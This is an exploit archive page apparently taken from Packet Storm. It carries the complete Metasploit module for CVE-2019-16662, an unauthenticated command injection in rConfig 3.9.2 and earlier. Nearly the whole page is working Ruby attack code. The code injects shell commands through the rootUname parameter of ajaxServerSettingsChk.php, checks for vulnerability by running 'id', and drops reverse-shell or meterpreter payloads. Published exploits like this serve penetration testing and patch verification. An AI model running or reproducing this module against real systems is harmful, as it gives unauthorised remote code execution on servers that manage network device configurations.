rConfig 3.9.2 Command Injection

This Metasploit module exploits an unauthenticated command injection vulnerability in rConfig versions 3.9.2 and prior. The install directory is not automatically removed after installation, allowing unauthenticated users to execute arbitrary commands via the ajaxServerSettingsChk.php file as the web server user. This module has been tested successfully on rConfig version 3.9.2 on CentOS 7.7.1908 (x64).

MD5 | 5a8c7959c835ac3cbcc733bb6b9b60ac

Download

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::CmdStager

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'rConfig install Command Execution',
      'Description'    => %q{
        This module exploits an unauthenticated command injection vulnerability
        in rConfig versions 3.9.2 and prior. The `install` directory is not
        automatically removed after installation, allowing unauthenticated users
        to execute arbitrary commands via the `ajaxServerSettingsChk.php` file
        as the web server user.

        This module has been tested successfully on rConfig version 3.9.2 on
        CentOS 7.7.1908 (x64).
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'mhaskar', # Discovery and exploit
          'bcoles'   # Metasploit
        ],
      'References'     =>
        [
          ['CVE', '2019-16662'],
          ['EDB', '47555'],
          ['URL', 'https://gist.github.com/mhaskar/ceb65fa4ca57c3cdccc1edfe2390902e'],
          ['URL', 'https://shells.systems/rconfig-v3-9-2-authenticated-and-unauthenticated-rce-cve-2019-16663-and-cve-2019-16662/']
        ],
      'Platform'       => %w[unix linux],
      'Arch'           => [ARCH_CMD, ARCH_X86, ARCH_X64],
      'Payload'        => {'BadChars' => "\x00\x0a\x0d\x26"},
      'Targets'        =>
        [
          ['Automatic (Unix In-Memory)',
            'Platform'       => 'unix',
            'Arch'           => ARCH_CMD,
            'DefaultOptions' => {'PAYLOAD' => 'cmd/unix/reverse'},
            'Type'           => :unix_memory
          ],
          ['Automatic (Linux Dropper)',
            'Platform'       => 'linux',
            'Arch'           => [ARCH_X86, ARCH_X64],
            'DefaultOptions' => {'PAYLOAD' => 'linux/x86/meterpreter/reverse_tcp'},
            'Type'           => :linux_dropper
          ]
        ],
      'Privileged'     => false,
      'DefaultOptions' => { 'SSL' => true, 'RPORT' => 443 },
      'DisclosureDate' => '2019-10-28',
      'DefaultTarget'  => 0))
    register_options(
      [
        OptString.new('TARGETURI', [true, 'The base path to rConfig install directory', '/install/'])
      ])
  end

  def check
    res = execute_command('id')

    unless res
      vprint_error 'Connection failed'
      return CheckCode::Unknown
    end

    if res.code == 404
      vprint_error 'Could not find install directory'
      return CheckCode::Safe
    end

    cmd_res = res.body.scan(%r{The root details provided have not passed: (.+?)<\\/}).flatten.first

    unless cmd_res
      return CheckCode::Safe
    end

    vprint_status "Response: #{cmd_res}"

    unless cmd_res.include?('uid=')
      return CheckCode::Detected
    end

    CheckCode::Vulnerable
  end

  def execute_command(cmd, opts = {})
    vprint_status "Executing command: #{cmd}"
    send_request_cgi({
      'uri' => normalize_uri(target_uri.path, '/lib/ajaxHandlers/ajaxServerSettingsChk.php'),
      'vars_get' => {'rootUname' => ";#{cmd} #"}
    }, 5)
  end

  def exploit
    unless [CheckCode::Detected, CheckCode::Vulnerable].include? check
      fail_with Failure::NotVulnerable, "#{peer} - Target is not vulnerable"
    end

    case target['Type']
    when :unix_memory
      execute_command(payload.encoded)
    when :linux_dropper
      execute_cmdstager(:linemax => 1_500)
    end
  end
end

Source: packetstormsecurity.com